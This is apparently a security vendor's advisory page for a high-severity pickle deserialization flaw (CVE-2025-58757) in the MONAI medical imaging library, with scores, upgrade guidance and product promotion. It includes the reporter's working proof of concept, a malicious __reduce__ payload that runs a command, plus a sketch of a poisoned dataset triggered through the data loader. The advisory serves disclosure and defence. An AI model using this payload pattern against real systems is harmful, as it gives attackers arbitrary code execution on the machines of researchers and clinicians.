Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-p8cm-mm2v-gwjm — monai

HIGHFix: Project-MONAI/MONAI#8566

GHSA-p8cm-mm2v-gwjm is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

Monai: Unsafe use of Pickle deserialization may lead to RCE

Also known asCVE-2025-58757PYSEC-2025-142
Published
Sep 9, 2025
Updated
Jun 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-p8cm-mm2v-gwjm.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-p8cm-mm2v-gwjm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImonaiall versions1.5.1pip install --upgrade 'monai==1.5.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p8cm-mm2v-gwjm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-p8cm-mm2v-gwjm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-p8cm-mm2v-gwjm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them u
O3 Security · Impact-Aware SCA

Is GHSA-p8cm-mm2v-gwjm in your dependencies?

O3 Security finds GHSA-p8cm-mm2v-gwjm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-p8cm-mm2v-gwjm: monai (High 8.8) | O3 Security